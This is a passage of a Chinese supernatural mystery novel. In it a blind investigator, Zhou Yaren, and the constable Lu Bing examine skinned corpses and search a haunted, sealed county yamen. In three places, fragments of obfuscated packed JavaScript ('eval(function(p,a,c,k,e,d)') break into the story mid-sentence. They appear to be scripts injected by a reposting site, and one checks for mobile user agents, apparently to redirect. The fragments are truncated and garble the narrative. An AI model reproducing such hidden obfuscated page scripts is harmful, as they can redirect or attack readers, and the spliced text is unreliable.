那位热心肠的脚夫安顿完人,立在卧榻边,扫了眼满屋狼藉和墙上喷溅的血迹,忍不住问:“到底怎么一回事儿啊?” “还不是欺负老实人!”老妪气不打一处来,恨恨道,有几分打抱不平的意思,“秦家老大宁愿自己打一辈子光棍儿,也要辛苦攒积蓄给老二讨媳妇,费老鼻子劲才给说了这门亲事,打从那小媳妇进门,秦家大兄就带着自家幺妹搬去了渡口边的仓房,专门把屋子腾出来给那小两口单过。谁知讨了个丧门星回来,不招灾才怪。秦家真是倒了八辈子血霉,我就说早晚得出事,这不,他大兄和幺妹子刚去趟远门卖酿好的黍酒,家里老二就被那丧门星拿柴刀给砍死了!” “不是,这无缘无故的,她怎会提刀砍死自己男人呢?”< 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“据说啊,有人亲眼看见,那毒妇杀了人之后……”略微知情的老汉突然压低声音,神神秘秘道,“……跑去了鬼衙门,躲进了阎罗殿!” 众人闻言,皆变了脸色:“她真敢闯那鬼衙门?!” “我上午路过一趟,看见有官差守在外头呢。” 脚夫很是纳闷儿:“什么阎罗殿鬼衙门?” 老妪看向他:“你不知道呢?” 脚夫摇摇头:“我是刚从外地来的,路过此地。” 老妪便告诉他:“这是很久很久以前发生的事儿了,以前咱北屈的县衙里头办过不少桩冤假错案,枉死了许多无辜受害者,导致下面的百姓有冤不敢诉,更不敢上衙门告状,去了指不定就被莫名其妙安上个什么罪名,铁定是有去无回的,所以大家私底下都叫那地方为阎罗殿。直到有一天夜里,一个死在牢狱中的人突然诈尸回魂,上衙门前击鸣冤鼓,这是活生生的闹鬼啊,县太爷和几个衙役都在梁上吊死了,后来县衙搬迁,原先那地方就成了鬼衙门。” 脚夫听着,面部表情一整个僵住,须臾又缓慢的僵着脖子转过头,无声的与几个同伴面面相觑。 北屈县,鬼衙门。 这不正是昨晚老脚夫给他们讲的鬼故事吗?! 青衣客立在人群中,闻言蹙起眉梢,握着竹杖的指节微微泛白。 此时,一串脚步声由远及近地传来,紧接着一道清亮的嗓音递入耳膜:“雅人!” 青衣客侧首,“望”向声源。 透亮的嗓子再度响起,这次连名带姓地唤:“周雅人!” 几名官差行至,为首的青年目光炯炯盯住那位鹤立鸡群的青衣客,因久别重逢,脸上难掩喜色,三步并作一步跨到青衣客跟前,几乎是飞奔,跟对方来了个热情洋溢的熊抱:“真是你啊,周雅人。” 周雅人闻声识人,且是位相交深厚的老熟人,脸上顿时扬起笑意:“陆秉,好久不见。” “那真是太久了,我还以为我看花眼了呢,你什么时候到的,怎么不直接过来找我,我告诉你住址了呀。” “刚到,还没来得及。” 陆秉收拢胳膊大力勒了勒人,方才松开,激动之情溢于言表:“我可算把你给盼来了,你不知道,咱俩分开这些年,我都快害相思病了。” 周雅人不禁莞尔:“改不掉你这点胡说八道的老毛病。” 陆秉咧着白牙对他笑,熟稔非常:“收到我的信了?” 周雅人觉得他多此一问,“没收到我能站在这儿么?!” “我若是不捎信,你是八辈子都不会来北屈看望看望我的,太不够意思了,枉我拿你当兄弟,天天惦记你。” “并非我不来……” “知道知道。”陆秉随口抱怨完又表示万分理解,并没有真的指责对方的意思,但还是不影响他憋了一肚子牢骚要发。 “我是真怕捎给你的信被盘查的小黄门截了去,再交到老顽固手里,那不就烧成灰了吗?!所以专程找了左大人帮忙,拜托他亲自送进宫给你,即便这样还是觉得不稳妥,成日提心吊胆的,怕出岔子。 “你也知道你那位手眼通天的严师,眼观六路耳听八方,盯你盯得不知道多紧,谁家孩子这么管着啊,一点自由都没有。 “我生怕他逮着了不放你出来,然后随便派个废物过来跟我干瞪眼儿,真不是我瞧不起那帮庸才,实在跟你没法比。幸好幸好,现在见着你,我心里这块大石头总算落下了。”噼里啪啦吐槽完,陆秉抚了抚胸口,好似真的松了口气,继而神色收敛几分,话锋一转,言归正传,“雅人,我在信上给你说的事——” 周雅人垂着眸子道:“我方才可能碰上了。” 4. 好兄弟 陆秉正是因为听见报信才匆匆赶来,暂时顾不上与故人叙旧,将命案现场的几名脚夫拎出来挨个儿盘问了一遍。 因事发太过突然,几名脚夫惊慌失措间只顾四下逃命,谁也没看见同伴是被什么东西害死的,或者说,当时现场什么都没有,同伴就莫名其妙死成了一具皮包骨头…… 道完前后经过,一名脚夫欲言又止,半晌才支支吾吾憋出一句猜测:“官爷,这会不会——会不会是——厉鬼索命啊。” 陆秉掀起眼皮,盯了对方一眼。 脚夫骨子里有些忌惮这些衙门里当值的官差,被对方默不作声地一盯,脚夫顿时缩了脖子,不敢妄言了。 其实陆秉心里有数,不止脚夫这么揣测,但凡知情者——城里的百姓以及衙门里当差的都这么怀疑。无一不说见了鬼,邪了门儿了。 大约二十几天前,城里便接连发生了五起这样的命案,陆秉带人查了大半月,始终一筹莫展。 如此诡谲的命案见所未见也闻所未闻,换了谁都会往邪祟方面寻思,因此知县特地派人上人祖山请了庙里修行的道士。 那道士也不知道究竟有没有真本事,反正下山大半月,端着法器把北屈里里外外踏寻了个遍,又在衙门里跟尸体相了几天面,却半点名堂都没瞧出来。 知县问他:“到底是不是邪祟闹的啊?” 那道士成天端着副世外高人的姿态,半天憋不出个屁来,最后颇为难地摇摇头,撂下句毫无卵用的屁话:“不好说。” 真服了。 陆秉深知这半吊子道士指望不上,再历数与自己有所交情的一干人等中,深居皇宫大内的周雅人简直就是不同凡响的存在,绝对比这些三教九流的狗屁道士有能耐,因此一封传书特地将人从长安请来。 陆秉了解完经过,才来问周雅人:“你说当时你也在,有没有什么发现?” 因周雅人当时需得护着秦三的安危,不敢轻易冒进,只得先带着人安全撤离出去:“我还需要返回事发地查探一番,再验一验那几具尸首。” 陆秉顾虑道:“现在恐怕不太合适。” 周雅人疑惑:“为何?” 因为之前发生命案时,衙门立刻派人赶赴现场,结果其中一名衙役刚靠近死者,就猝不及防地丧了命。陆秉当时相距大约数丈之远,眼睁睁目睹了那名同僚惨死,可周围既没有行凶之人,也没有野兽出没,怎会死成那副惊悚无比的鬼样子? 陆秉和几名在场的捕快亲眼所见,简直就是活见鬼,不信都不行。 既查不出头绪,大家便七嘴八舌的推测出一个邪乎的结论:那只“厉鬼”每次害命之后,都会在尸身周围盘旋一时半刻,谁敢靠近就索谁的命。 因此衙门都要等上几个时辰或者耗完一整夜,待那只“厉鬼”离开才收尸。 这办案的官差跑去信邪可能不太像话,但陆秉上有老祖母天天在家里烧香拜佛,下有个专门钻研此道的拜把子兄弟,加之连当今圣上都信奉道教,陆秉在这样一种大环境的熏陶下,压根儿不是什么坚定的无神论者。 所以宁可信其有不可信其无,未知的险境绝不可贸然行动,大家都是人生父母养的,谁的命不是命啊,除了走投无路之辈,谁不贪生怕死呢。 陆秉还有俩天天盼着他回家吃饭的“祖宗”——他爹和他老祖母,不敢像个莽夫一样在外头瞎拼命,办不了的差事就找能人异士相助解决,他自己则懂得量力而行,从不妄自托大。 虽说外头能人异士一抓一大把,但陆秉信不过,因为大部分都是些招摇撞骗的搅屎棍,谁知道谁几斤几两呢。 但是周雅人就不一样了,知根知底儿的,还曾在京中协助大理寺办过好几桩离奇案子,名声大噪。但凡用常理解释不通的玄乎事儿,大理寺都会单拎出来请周雅人出马,陆秉便自动将其归为能人异士一类。 因为周雅人的到来,陆秉此刻说话的底气都足了,他挺直腰杆,一条胳膊顺势搭在对方肩膀上,哥俩好似的说:“反正不管谁在背后害命,咱俩即日起双剑合璧,是人抓人,是鬼捉鬼。” 周雅人不应他这茬:“我先去看看再说。” 陆秉挺犹豫:“真去啊?你这赶了几天路,才刚到地方,风尘仆仆的都没怎么休息好,现在天色已晚,要不先跟我回家吃顿饱饭养足精神,案子待明日再查……” 刚发生命案当然需要尽快查看现场,拖到明天指不定出什么变数,比如半夜下场大雨,什么痕迹都给冲没了。 周雅人是个行动派,说走就走,不听他在这儿家里长的磨叽。 “欸……雅人……”陆秉紧追两步,又倒回去,随便抓了个小弟吩咐,“你上我家跑一趟,让我爹准备一桌酒菜,要多弄几个硬菜啊,跟他说一会儿有贵客到。” 衙役得令:“是。” “其余几个先跟我走。”陆秉带人快步追上周雅人,“你等等……你慢点儿吧,眼睛又看不见,别撞着什么摔了跟头。” 即便知道周雅人已经瞎出一定境界,行动好似与常人无异了,但陆秉每次都会忍不住想要唠叨叮嘱他几句,毕竟再行动自如也是个两眼一抹黑的瞎子,难免磕了碰了。 陆秉开启老妈子瞎操心模式:“你人生地不熟的,别自己个儿乱走,你等我给你带路。” 周雅人却说:“我认得路。” 走过一次,便记下了,他准备按原路返回,但是陆秉一上来就拽着他胳膊转了个向:“逞什么能,走这边,我带你抄近道。” 周雅人一竹杖点在对方脚后跟上:“带路就好好带路,别拽着我。” 陆秉没撒手:“巷子里的地面不平整,我不得扶着点儿你啊。” 周雅人无法,便由着他拽。 陆秉的脑子这时才好像慢了大半个时辰似的反应过来,猛地看向周雅人:“不对啊,怎么只有你一个人来?” 那老顽固看徒弟看得这么紧,怎么可能放心让周雅人独自出京而不派随从护送? 周雅人淡淡“瞥”其一眼:“不然你还想让谁也来?” 陆秉仿佛心领神会了这个眼神,惊呼:“你不会是偷跑出来的吧?” 周雅人不以为意,答得敷衍:“是啊。” 陆秉做梦也没想到,这哥们儿居然会为了他违背师命,独自奔袭数百里来北屈相助。 陆秉都快感动哭了,但是他酝酿半天,没酝酿出那滴惺惺作态的眼泪,只好作罢,一掌大力金刚手狠狠拍在周雅人的后背上,承载着他一腔汹涌澎湃的激动之情,大吼出声:“好兄弟!” 周雅人没防备他突然来这手,被陆秉一掌锤了个趔趄,整个胸腔都在震动,左脚重心不稳地滑出去,踩着凹凸不平的地面,险些没栽。 “陆秉你说话就说话,动手干什么!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周雅人打断他:“你既叫我来帮忙,就该按我说的做,一会儿有用得着你的地方,我自会招呼,不会让你闲着。” 陆秉几番犹豫,依言道:“那你多加小心,一有危险就大声叫我。” 周雅人没忍住扬了扬嘴角:“就你会那两下子,还是我教的呢。” 说完就溜,并抬手掩耳,果不出所料,陆秉在他身后炸了毛,扯着嗓门儿鬼嚎:“姓周的,你少瞧不起人,你陆小爷这些年在北屈捕盗捉贼威名赫赫,靠得可不是那区区两下子,不信滚回来咱比划比划,我不打得你告饶!” 周雅人懒得搭理这只嘴壳硬的死鸭子,头也不回地迈向那片枯草丛生的荒原。 守兵提着盏纸糊的红灯笼凑到陆秉跟前儿,打算贡献出来:“陆小爷,天这么黑,他不打个灯笼吗。” 陆秉气不打一处来,矛头即刻转向守兵:“有大病是不是,你见过哪个瞎子需要打灯笼的?!” “啊?”守兵惊了,“他瞎啊?” 陆秉跟个炮仗似的,只许州官放火:“你才瞎,你全家都瞎。” 守兵委屈巴巴的:“不是,我真没看出来他瞎……”结果话没说完就挨了顿削,削得守卫吱哇乱叫。 周雅人听着身后动静摇摇头,忽然有些感慨,以前在京中满地权贵,轻易惹不起,陆秉凡事还知道收敛,压着他那狗脾气,成天只顾着与一帮不思进取的败家子儿鬼混。不曾想他如今回了北屈,天高皇帝远的,陆秉当了个不大不小的捕快头子,居然横起来了,逮谁骂谁。 其实陆秉还是掂量得清分寸,只敢跟手底下的啰啰耀武扬威,对上,照样该装孙子装孙子,他自己管这种欺软怕硬的无耻行径称为识时务。 识他个不要脸的时务。 5. 朱砂符 周雅人握着竹杖,挡开杂乱的草枝,此间有一条被村民踏出来的窄路,他凭借来时的感知和记忆,一点点朝事发地靠近。 及人高的枯草在脚夫和秦三几人慌不择路的奔逃中被踩踏,东倒西歪的斜倒一片,寒凉的冷风中裹着一缕若有似无的血腥气。周雅人驻足,寻着气味偏过头,抬手捏住颈侧一寸带血的枯草枝。 枯草枝的边缘呈锋利的锯齿状,若是不当心触碰到,很容易割破皮肉划伤手。 类似这种带血痕的锯齿状枯草叶很多,所以混在风里的血腥气颇重。 周雅人抬脚往前行了数十步,穿过带腥的斜风,似有所感地顿住步子,而距离他脚尖一尺长的地方躺着一具尸体。 周雅人一撩袍摆蹲下身,首先摸到一截麻布制成的衣料,触感相当粗粝。而粗制衣料下则是一层柔软完整的人皮,套在支棱的骨架上,像极了一件人皮衣裳。 死者正是秦三那位兄长,丧命将近一个时辰,早已在寒夜中冻得冰凉。 周雅人毫不忌讳地将尸身上下摸索一遍,发现人皮薄如蝉翼,里头除了一把剃干净的骨头,没有一点一滴多余的血肉。 周雅人蹙起眉,仔细摸到人皮上几处细小的口子,应当是被那些锯齿草和枯枝划破的。他的手掌一点点往下,停在尸体脚后跟的位置,人皮此处有一个较大的裂口,延伸至整个脚掌的皮都是豁开的。 周雅人缓缓站起身,又寻着那股较为浓浊的血腥气找到另外两具脚夫的尸体,情况大同小异,异的是人皮身上那个较大的裂口,像挖的一个大洞,有的在脚跟往上的位置,有的在小腿肚及膝窝处。 周雅人在此地徘徊了足有大半个时辰,没理出头绪,也没感知到任何异动,待确定没什么危险,才掉头往回走。 望眼欲穿的陆秉在看到周雅人安然现身的瞬间总算松了口气,他拍拍胸口,几步上前迎人:“怎么样?” 周雅人答非所问:“派人收尸吧。” 陆秉追问:“是不是他们说的那什么——邪祟啊?” “不是。” “啊?” 周雅人敢断定:“不是邪祟。” 陆秉难以置信:“不是邪祟能是什么东西搞的鬼?把血肉吃得渣都不剩,独独只剩一具骨架一层皮,西市屠夫的剔骨刀都剔不了这么干净!” 周雅人避而不答,询问之前几名死者的情况,每具人皮身上都有一处较大的裂口,他本想亲自去查验一番,却被陆秉一把拽过去:“废什么寝忘什么食,案子再要紧,也得吃喝拉撒睡。” 奈何他们行到半途,又被拦了去路。 “官爷……官爷……快救命啊出大事啦……” 周雅人闻声侧首,正是方才遇上的那位老妪。 老妪一副快跑断腿的架势,喘得上气不接下气,盯着陆秉和他身后两名衙役焦急道:“官爷,不好了,秦三拎了把菜刀冲去鬼衙门找凶手报仇了。” 两名衙役异口同声:“什么?!” 这段日子陆秉不分昼夜地东奔西走,一边调查命案一边寻找失踪人口,这命案一茬接着一茬,忙得几乎脚不沾地。他本以为今天终于能提早回去歇着,结果又有人整幺蛾子给他找事儿,陆秉气不打一处来:“添什么乱!” 官爷脾气大,吓得老妪缩瑟了一下。 陆秉掉头就走,谁知被后来者突然撞了一下。 “怎么走路的……”陆秉刚要训人,话到一半又蓦地顿住。 撞他的人蒙着面,头脸缠裹着黑巾,身穿一件脏污的厚棉袄子,好似在地上打过几圈滚,沾了满身尘土。 此人将自己捂得严严实实,再加上那副畏首畏脚的畏缩模样,活像个刚行完偷鸡摸狗之事突然撞到官府手上的贼。 但其实不然,哪个贼敢主动往官爷身上撞,且主动伸爪子握住官爷的手腕不放呢? 陆秉正是因为看见对方那双长满脓疮的手时哑了火,黏黏腻腻的脓浆血水从那人肿胀溃烂的疮包里溢出来,直接蹭到了陆秉手上,触感麻麻赖赖的,他感觉整个人都不好了。 旁边的老妪见状,也吓了一跳,“啊”地后退几步避远些。 空气中甚至混着一股腥臭味,陆秉离得近,猝不及防吸了一口,胃里顿时一阵翻腾。 他不知道这人患了什么恶疾,猛地抽回自己的手,那人没抓握稳,还想上手,被陆秉提着刀鞘抵开了。 那人没能近身,哑着嗓子低求,气管像被勒紧了似的,给人一种快要窒息的错觉:“帮……帮我……” 陆秉一阵恶寒,对其避如蛇蝎,躲开一大步说:“过前面一条街右转,岔路口有家保和堂,里面有位姓何的老郎中,专治疑难杂症和各种恶疾,你快去找他瞧瞧吧,别耽搁了。” 陆秉三两句打发完,不等对方开口,便拽着周雅人的盲杖火速撤离,生怕这位生脓疮的人纠缠不放。 周雅人被迫大步流星,压根儿没搞清状况:“怎么了?” 衙役追随其后:“等等我们,头儿。” 陆秉头也不回:“刚才撞到我的那个人不知得了什么怪病,手上长满了脓疮,几乎有核桃那么大个儿,老吓人了,还在往外冒脓血,全蹭我手上了。” 陆秉手背黏糊糊的,从怀里掏出块方巾使劲擦,用力到把那处皮肉都搓红了,心里还是无比膈应:“我不会被传染吧,回头也长一身脓疮怎么办?” 两个紧追其后的衙役闻言,及时刹住步子,甚至还默默往后退了一步,拉开与陆秉的距离。 陆秉完全没注意到来自两位属下的嫌弃,心中越想越不放心,“不行,一会儿办完差事我得去保和堂问问何郎中,那人究竟得了什么怪病,会不会传染。” 周雅人了然道:“怪不得我刚才闻到一股腥气。” “是啊,一股恶臭,我看他浑身上下捂得那么严实,估计满身都是脓疮。”陆秉擦完手,直接把方巾扔了,脚步匆匆道,“不过得辛苦你跟我走趟鬼衙门,把那姓秦的小妮子给逮出来,近日发生的命案已经够多了,不能让她再生事端。” 一旁的衙役插话:“现在就去啊?” “不然呢?”陆秉说,“这妮子可是拎着菜刀要去砍人的。” 另一名衙役面露难色:“可是现在天都黑了啊头儿,那地方……可是鬼衙门。” “怎么?”周雅人略一侧首,面向陆秉询问,“我以为鬼衙门只是坊间传闻。” 陆秉知道他刚到北屈:“你已经听说了?” 周雅人颔首:“嗯。” 那衙役忙道:“什么传闻,北屈的老百姓谁不知道,这可是实打实的真事儿。” 周雅人微妙地蹙起眉。 陆秉抱着胳膊蹭近周雅人,谨慎又慎重地给了个肯定答案:“传闻是真的。” 周雅人问:“怎么说?” 陆秉脚步慢下来:“这事儿就发生在十二年前,说久也不太久。那时候我才八岁,我爹还没能考取功名,一家子也没搬去长安。事发当天早上我跟我爹正好经过县衙,亲眼目睹那死人直挺挺吊在县衙前撞鸣冤鼓,因此我吓得连续做了大半月噩梦,晚上也不敢一个人睡。因为后来发生的事儿越来越邪乎,大人小孩都害怕,只要太阳一落山,北屈县就关门闭户,谁都不敢出门。” “十二年前?” “对,”衙役回道,“我那时候也小,我二大爷当时吓得在阴沟里摔了个大跟头,膝盖骨摔裂了,到现在都瘸着腿。” 另一个瘦黑的衙役也不住点头:“咱都是见证人呐,不然好端端的,县衙也不可能搬迁。” 陆秉符合:“加上人祖山的道士降不住,怪事频发,最后请了太行道的掌教亲临,解决办法也只是衙门搬迁。” 周雅人不得不重视起来:“还惊动了太行道掌教?” 瘦黑的衙役说:“是啊,当时好些太行道弟子来到北屈,穿一水儿雪白的道袍,看着挺气派的,把整个鬼衙门封锁起来,在里面布了个什么阵法,倒腾了半拉月,之后就禁止百姓靠近那个地方。” 所以北屈县人人对此避而远之,谁都不敢去那儿找晦气,鬼衙门自然而然成了禁地,但也防不住某些个走投无路地往里闯。 周雅人问:“什么阵法?” 瘦黑的衙役一时回答不上来。 陆秉道:“据说是镇邪之类的。” 邪?周雅人在心底斟酌一番: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周雅人听着他二人对话,思忖片刻问:“那秦老二确定是孙绣娘砍死的么?” 他今日刚到北屈,并不了解具体案情,只方才在秦家从旁人嘴里听到一些不虚不实的论断。 陆秉道:“是有人看见孙绣娘满身血地冲出来。” 周雅人:“亲眼看见她拿斧头砍人了么?” 陆秉:“那倒没有。” 垫后的衙役跨过门槛,肩膀不经意把大门又顶开一些,发出沉闷的嘎吱声响,把走在前面的陆秉和衙役吓了个哆嗦。 陆秉回过头:“你别整出动静了。” 衙役连忙扶住那扇嘎吱响的门,点头哈腰的应承。 一进门,绕过精雕细琢的照壁,入目便是满墙垣的鬼画符。在昏暗的灯光映照下,十余年不曾褪色的朱砂符纹血红血红的,看得俩衙役汗毛倒竖。 周雅人脚步顿了顿,环顾四周,满墙垣的鬼画符投射进双目,原本漆黑的世界慢慢在他眼中成了底色,隐现出一片殷红的符纹,深或浅,虚或实,每一笔纹路的走向都映入视线当中。 他能看见,符纹龙飞凤舞地立在东西两侧,像竖立在黑暗中的几堵符墙——确实是镇邪之法。 世人都知道他瞎,可他这双眼睛虽看不见阳世,却能辨认阴物,或用以克制住阴物的术。 甬道尽头是紧闭的仪门,且礼仪之门,被锈迹斑斑的铁链缠绞封锁,贴着的封条上又叠加了一层朱砂符。 众所周知,县衙的布局看重风水,仪门两侧分别还设有两扇小门。 从风水上讲,东方主生,所以东侧的小门为生门,又称人门,供常人平日里进出,却也是封闭上锁并叠了一层朱砂符的。而西方主杀,西侧那扇小门为死门,又称鬼门,鬼门却是打开的,这就让陆秉等人犯了忌讳。 他们在衙门里当差,当然清楚西侧鬼门通常都是关闭不开的,只在押解死囚赴刑场时才会打开,所以这是个给死刑犯走的门。 本来此处就成了座鬼衙门,他们又不是死囚犯,当然不可能走鬼门进去,多吓人呐。 6. 阎罗殿 陆秉试图想打开东侧人门,衙役提着灯笼上前道:“头儿,仪门和人门应该是被浇了铁汁,完全焊死了,连锁孔都被堵得严严实实,打不开的,除非把门给拆了。” 另一名衙役坚决反对:“这门是万万拆不得的,没看见上面封着符纸呢吗,万一拆了,这符纸一破,阵是不是也跟着破了,妖魔鬼怪齐刷刷全跑出来了怎么办?” “不对啊,”既然打不开,又不能走鬼门,陆秉有些纳闷儿了,“那你们白天是怎么进去搜查的?压根儿没进么?” “进了进了。”瘦黑的衙役举着灯笼照进角落,墙根儿赫然立着一把木梯,他说,“我们爬梯子从上面翻进去的。” 陆秉问:“哪儿来的梯子?” “黑子从家里搬来的。” 叫黑子的衙役连声附和:“忘记扛回去了,这不正好派上用场了吗。”他一边说,一边把木梯从角落搬出来,稳稳架在可供攀爬的墙边,“头儿,要不你先上?” 陆秉转过头去:“雅人。” 周雅人站在甬道中央,映入眼帘的是一面符筑的墙,然而符墙的左角有一个缺口,在他眼中却像一处黑洞,正是陆秉他们所谓的鬼门。 周雅人抬手指了指左前方,确认般问了一遍:“这处没有符文么?”还是说原本也是有的,只不过被破坏了,所以他才看不见。 陆秉指使衙役提着灯笼照过去,他借着微光上前打量一番:“没有诶,这扇门看着像是没有被封过。” 黑子似是忽然想起什么,低声嘟囔了一句:“怪不得……” 众人抬眼看向他,陆秉问:“怪不得什么?” “头儿,之前城里不是传得厉害么,原本这里早就已经废弃了,但是半夜路过的人却说,居然听见鬼衙门里头有升堂喊冤的动静。模模糊糊的,还有那种套脚的镣铐拖在地上走动时摩擦的声音,叮铃哐啷响,就好像有犯人要从县衙里出来似的。你看这扇鬼门大开的,不就是押那些死囚上刑场的道儿么?!” 然而类似这样的传闻实在太多了,陆秉其实有些分不清哪些真哪些假,哪些是大众就着恐怖气氛胡编乱造的。北屈县不是还有个说书先生,专门在茶肆给路过的行人讲他添油加醋编纂的鬼衙门事件,真假掺半说得绘声绘色,以此招揽生意呢。 “然后呢,”陆秉问,“有看见出来么?” “我的祖宗欸,半夜三更在鬼衙门外头听见那动静,吓都快吓死了,跑还来不及呢,谁会傻杵在原地看有没有东西从里面出来啊。” 嫌命长么? “更吓人的是,”掌灯的衙役也忍不住补充道,“我们白日里刚搜查完出来,就听见一个卖瓜的老农在那说,前不久还听见过鬼衙门里传出惨叫叻。” 当时听完他们就只觉后脊背发凉,也是真的凉,打从进鬼衙门里溜达一圈,仿佛被阴寒气裹身,从头到脚趾尖都凉透了,冰块儿似的,捂半天都捂不热。后来打着哆嗦跑去灌了碗热汤驱寒,周身才渐渐回温。 陆秉闻言一愣,胳膊上的汗毛突然站了起来,他在衙门当差,不知为何突然就联想到犯人在狱中遭受严刑拷打时的惨叫。 周雅人追问:“前不久是什么时候?” 衙役思索了一下:“不足半月吧,那卖瓜的老农也没具体细说哪一天。” 陆秉忙问:“有什么问题么?” 周雅人摇摇头,他其实说不清心底冒出来的异样感。 衙役铺垫完,最后胆战心惊的看着陆秉问:“头儿,咱还要进去吗?”这里头跟龙潭虎穴也差不离了,他心里的退堂鼓打得响亮,被陆秉瞪了一眼,外带一声训斥:“你干嘛来的?!” 衙役被堵得没了音。 其实陆秉也害怕,所以要拉俩弟兄进去壮胆,人多阳气重嘛。 黑子适时打岔:“当年那些道长为什么要把其他两扇门封死了,独独只留一扇鬼门?” 然后限制人们靠近,总归不可能是给人留的。 所以是留给那些“死囚犯”的么? 既然要封,为什么不将三道门一块儿焊死呢? 至于这个细思极恐的问题——陆秉下意识望向周雅人,后者一时间也琢磨不出个所以然来,他自踏入鬼衙门就能感知周遭阴气浓郁,仿佛置身于冰窟,周围是散乱波动的寒流,积压在符阵中某个未知的深处。 这股阴气便是从符阵中漏出来的,涌动间不断在往符墙外面渗,从那些符纹的墙缝间四溢出来,形成四面散乱的寒气,让人察觉不到气从何来,又有别于寻常的东南西北风,好似没有源头。 但他不打算把自己感知到的这些说出口,以免加剧那三人的恐慌。 原本就被吓得不轻的俩衙役不得不蹬上木梯,认命般翻墙进去。 四个人先后落地,陆秉本想搭手扶一把周雅人,奈何某人根本不需要,翻墙的动作比他还要敏捷利索,丝毫没有一个瞎子该有的样子。 陆秉伸手扶人的动作一顿,转而冲下属一摆:“赶紧找人。” 俩衙役立刻跟紧他,谁知又遭到训斥:“你俩吊在我屁股后面干什么,没看见这么多间屋子么,分头找啊。” “分……”俩衙役傻了,双双戳在衙院内,挣扎道,“头儿,这里可是阎罗殿啊。” 他们口中所谓的阎罗殿便是知县升堂断案的大堂,这里断的部分都是大案要案,攸关生死,而鸡毛蒜皮的小事一般都在二堂审理调解。 以前发生在前堂的冤假错案太多,死的人更不计其数,所以被老百姓私下里称阎罗殿,甚至死过三任知县和数名衙役,能不叫人忌惮么。 陆秉只想尽快找到人离开这个是非之地,遂不耐烦道:“别磨蹭,赶紧的。” 俩衙役只能硬着头皮壮起怂胆,分别前往东西两庑。 朝廷设有六部,地方县衙则置有六房,是按照左文右武的礼制,东为吏、户、礼房,西为兵、刑、工房。 他们推开门,一间一间进去搜找。 陆秉迈步走向讼堂,四下没瞧见异常,转而踱进一侧的武备库。 周雅人因为眼盲看不见活物,便独自在衙院中静立片刻,“盯”着脚下石板上一路朝前延伸的符文,原本那双涣散的目光此刻终于凝了焦距。 他低眸抬腿,缓步穿过戒石坊,皂靴刻意避开若隐若现的符文,仔细辨认着,却都是他不曾见过的繁复样式。 他在衙院中绕行,脚尖忽然踢到一块坚硬的东西,周雅人足下一顿,微微欠身摸索,仿佛摸到一块大冰坨子,寒得惊心。 他并没缩回手,盲人摸象一样开始仔细分辨。 这不是一块寒冰,而是一尊经过打磨的石像,雕了发髻、五官、肩颈和完整身板,手上扶着一根杵地的长棍,站姿笔挺。 再往前走两步,他摸到第二尊、第三尊、第四尊…… 石像依次排列,个个昂首挺胸,那姿态和仪仗不禁让人想起知县升堂时两边站堂的差役,而他们手扶的长棍则像极了杀威棒。 周雅人微微蹙眉,此刻正好听见近处响起脚步声,是那三位查完了这院中的几间屋子,他问:“这些都是衙役的塑像?” 夜黑风高的,三人一见这两排玩意儿就慎得慌,陆秉答应道:“是,塑的站班衙役,专门搁这儿站堂呢。” 周雅人有些困惑:“为什么会塑这个?” 陆秉道:“县衙不是搬迁么,但是那帮道士却说,人都走完了,但这衙门里却不能没有官差把守。” “把守”这个词就很耐人寻味,既然此地都空了,还把守什么呢? 黑子站在离石像不近不远的地方:“那些懂点儿门道的老人都说,这里因为冤死了太多人,这些人死后怨气太重所以阴魂不散,会跑出来作祟,需要阴司来守着他们,所以就砌了两排站班衙役镇在这儿。” 衙役提着灯笼靠前几步:“那茶肆里的说书先生怎么唠的来着?咱北屈县有一阴一阳两所衙门,合称阴阳衙门,咱现在当差的衙门里有官兵,鬼衙门里就该有什么来着?” 黑子忙道:“鬼判!” “对!鬼判!” 话音刚落,就听“啪”的一声,惊得正讲到鬼判的俩衙役直接原地蹦跳起来,爹啊娘的惊叫唤。 陆秉也没好到哪里去,只是没像那俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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与此同时,陆秉已从窗户边一跃而出,冲向西南角那道窄门,奈何他刚经过常青树下就猝不及防被那只野猫攻击了。 野猫蛰伏其间,好似把忽然造访的这群人当成了劲敌,一直炸着毛弓着背伺机而动,见陆秉越窗而至,便如离弦之箭,以迅雷不及掩耳之势把自己弹射出去,在空中狠狠挠了陆秉一爪子。 “头儿。”俩衙役异口同声。 “小心。”周雅人也在刹那间出声提醒,但是已经来不及了。 陆秉着急去逮人,压根儿没防备这只猫突然发难,那利爪刮着他颈侧的血肉,像几道飞剑扎刺过去,丝毫没给他防御躲闪的机会,就感觉颈侧一股火辣辣的疼。 那只猫一击制胜,嗖的落地,也不恋战,三窜两跳便没了踪影。 陆秉一摸脖子,摸到一手血。 他只顿了一下,没去管那只挠了他的小野猫,也顾不及颈侧的伤——这几道抓痕虽有些深,幸在他方才略微偏了偏头,没被挠破大动脉,自然要不了这条老命,只不过留点血而已,他并不放在眼里,转身便朝那道窄门奔去。 周雅人去追陆秉,从二堂穿廊而过,他下意识回头,恰巧在一侧残墙壁洞中看到了那只眼冒绿光的凶悍野猫,它正居高临下,直勾勾的觑着他们。 某种怪异的感觉涌上心头,周雅人一只脚尖忽而转向,朝着野猫所在的墙缝砖洞迈出步子,且听那野猫冲着他“喵”叫一声。 与此同时,奔到后墙外的陆秉也大喝一声:“丫头!” 陆秉跑上前,就见披头散发的秦三手举一柄带血的菜刀,一刀下去,鲜血喷溅,那只已经被她砍伤翅膀的乌鸦劈成了两半。 听见陆秉的呵叱,秦三猛地回过头,长发挡住她大半张脸,只露出一只睁到血红的眼睛。 陆秉被她这副看似癫狂的样子吓了一跳,手里的灯笼差点没拿稳。 